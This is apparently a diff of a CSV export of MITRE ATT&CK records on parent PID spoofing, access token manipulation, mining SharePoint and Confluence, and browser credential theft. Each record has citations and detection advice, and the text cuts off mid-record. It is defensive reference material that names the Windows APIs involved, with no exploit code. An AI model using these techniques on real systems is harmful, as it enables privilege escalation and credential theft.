'https://www.countercept.com/blog/detecting-parent-pid-spoofing/', 'description': 'Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.'}, {'source_name': 'CTD PPID Spoofing Macro Mar 2019', 'url': 'https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/', 'description': 'Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.'}, {'source_name': 'XPNSec PPID Nov 2017', 'url': 'https://blog.xpnsec.com/becoming-system/', 'description': 'Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.'}, {'source_name': 'Microsoft Process Creation Flags May 2018', 'url': 'https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags', 'description': 'Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.'}, {'description': 'Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.', 'url': 'https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3', 'source_name': 'Secuirtyinbits Ataware3 May 2019'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1134/004,mitre-attack,T1134.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Parent PID Spoofing,"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) +Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/004', 'external_id': 'T1134.004'}, {'source_name': 'DidierStevens SelectMyParent Nov 2009', 'description': 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.', 'url': 'https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/'}, {'source_name': 'Microsoft UAC Nov 2018', 'description': 'Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.', 'url': 'https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works'}, {'source_name': 'CounterCept PPID Spoofing Dec 2018', 'description': 'Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.', 'url': 'https://www.countercept.com/blog/detecting-parent-pid-spoofing/'}, {'source_name': 'CTD PPID Spoofing Macro Mar 2019', 'description': 'Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.', 'url': 'https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/'}, {'source_name': 'XPNSec PPID Nov 2017', 'description': 'Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.', 'url': 'https://blog.xpnsec.com/becoming-system/'}, {'source_name': 'Microsoft Process Creation Flags May 2018', 'description': 'Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.', 'url': 'https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags'}, {'source_name': 'Secuirtyinbits Ataware3 May 2019', 'description': 'Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.', 'url': 'https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3'}]",1.0,attack-pattern,attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:22:41.448Z,2021-02-09T14:11:20.296Z,Parent PID Spoofing,"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018) -Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T14:11:20.296Z,2020-02-18T18:22:41.448Z,"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) +Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134/004,mitre-attack,T1134.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wayne Silva, F-Secure Countercept']","['Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata']","['Heuristic Detection', 'Host forensic analysis']","Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) -Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.","['Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata']","['Wayne Silva, F-Secure Countercept']","['Heuristic Detection', 'Host forensic analysis']","['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134.003', 'url': 'https://attack.mitre.org/techniques/T1134/003'}, {'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'source_name': 'Microsoft Command-line Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1134/003,mitre-attack,T1134.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Make and Impersonate Token,"Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.",attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-02-18T18:03:37.481Z,2020-02-18T18:03:37.481Z,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/003', 'external_id': 'T1134.003'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",1.0,attack-pattern,attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:03:37.481Z,2020-02-18T18:03:37.481Z,Make and Impersonate Token,"Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134/003,mitre-attack,T1134.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. -Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","['Process: OS API Execution', 'Command: Command Execution']",,"['Windows User Account Control', 'System access controls', 'File system access controls']","['Administrator', 'User']",['Windows'],,,,,,['SYSTEM'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134.002', 'url': 'https://attack.mitre.org/techniques/T1134/002'}, {'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'source_name': 'Microsoft Command-line Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1134/002,mitre-attack,T1134.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create Process with Token,Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.,attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-03-26T21:28:19.476Z,2020-02-18T16:48:56.582Z,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,"['Administrator', 'User']",['Windows'],,,,,,['SYSTEM'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/002', 'external_id': 'T1134.002'}, {'source_name': 'Microsoft RunAs', 'description': 'Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",1.1,attack-pattern,attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T16:48:56.582Z,2021-10-17T14:51:48.978Z,Create Process with Token,"Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs) -If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. +Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134/002,mitre-attack,T1134.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vadim Khrykov'],"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) -Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","['Process: OS API Execution', 'Command: Command Execution']",,"['Windows User Account Control', 'System access controls', 'File system access controls']",,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134.001', 'url': 'https://attack.mitre.org/techniques/T1134/001'}, {'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'source_name': 'Microsoft Command-line Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1134/001,mitre-attack,T1134.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Token Impersonation/Theft,"Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. +If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. -An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.",attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-03-26T21:29:18.608Z,2020-02-18T16:39:06.289Z,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/001', 'external_id': 'T1134.001'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",1.0,attack-pattern,attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T16:39:06.289Z,2020-03-26T21:29:18.608Z,Token Impersonation/Theft,"Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. -Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","['Process: OS API Execution', 'Command: Command Execution']",,"['Windows User Account Control', 'System access controls', 'File system access controls']",,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1213.002', 'url': 'https://attack.mitre.org/techniques/T1213/002'}, {'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'source_name': 'Microsoft SharePoint Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1213/002,mitre-attack,T1213.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Sharepoint,"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: +An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1134/001,mitre-attack,T1134.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/002', 'external_id': 'T1213.002'}, {'source_name': 'Microsoft SharePoint Logging', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2'}]",1.0,attack-pattern,attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-14T13:35:32.938Z,2021-06-08T17:10:31.187Z,Sharepoint,"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams @@ -1358,10 +1542,10 @@ Analysts can also monitor for use of Windows APIs such as DuplicateToken(E * Work / project schedules * Source code snippets * Links to network shares and other internal resources -",attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a,attack-pattern,['collection'],2020-03-24T16:41:00.821Z,2020-02-14T13:35:32.938Z,"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. +",['collection'],https://attack.mitre.org/techniques/T1213/002,mitre-attack,T1213.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,,['User'],"['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1213.001', 'url': 'https://attack.mitre.org/techniques/T1213/001'}, {'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'source_name': 'Atlassian Confluence Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1213/001,mitre-attack,T1213.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Confluence," +",True,['User'],"['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213/001', 'external_id': 'T1213.001'}, {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'}]",1.0,attack-pattern,attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-14T13:09:51.004Z,2021-06-08T17:08:08.386Z,Confluence," Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: * Policies, procedures, and standards @@ -1372,10 +1556,10 @@ Adversaries may leverage Confluence repositories to mine valuable information. O * Work / project schedules * Source code snippets * Links to network shares and other internal resources -",attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc,attack-pattern,['collection'],2020-03-24T16:42:09.222Z,2020-02-14T13:09:51.004Z,"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. +",['collection'],https://attack.mitre.org/techniques/T1213/001,mitre-attack,T1213.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,,['User'],['SaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555.003', 'url': 'https://attack.mitre.org/techniques/T1555/003'}, {'source_name': 'Talos Olympic Destroyer 2018', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.'}, {'source_name': 'Microsoft CryptUnprotectData April 2018', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata', 'description': 'Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.'}, {'source_name': 'Proofpoint Vega Credential Stealer May 2018', 'url': 'https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign', 'description': 'Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.'}, {'source_name': 'FireEye HawkEye Malware July 2017', 'url': 'https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html', 'description': 'Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.'}, {'source_name': 'GitHub Mimikittenz July 2016', 'url': 'https://github.com/putterpanda/mimikittenz', 'description': ""Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1555/003,mitre-attack,T1555.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credentials from Web Browsers,"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. +User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",True,['User'],['SaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/003', 'external_id': 'T1555.003'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Microsoft CryptUnprotectData April 2018', 'description': 'Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata'}, {'source_name': 'Proofpoint Vega Credential Stealer May 2018', 'description': 'Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.', 'url': 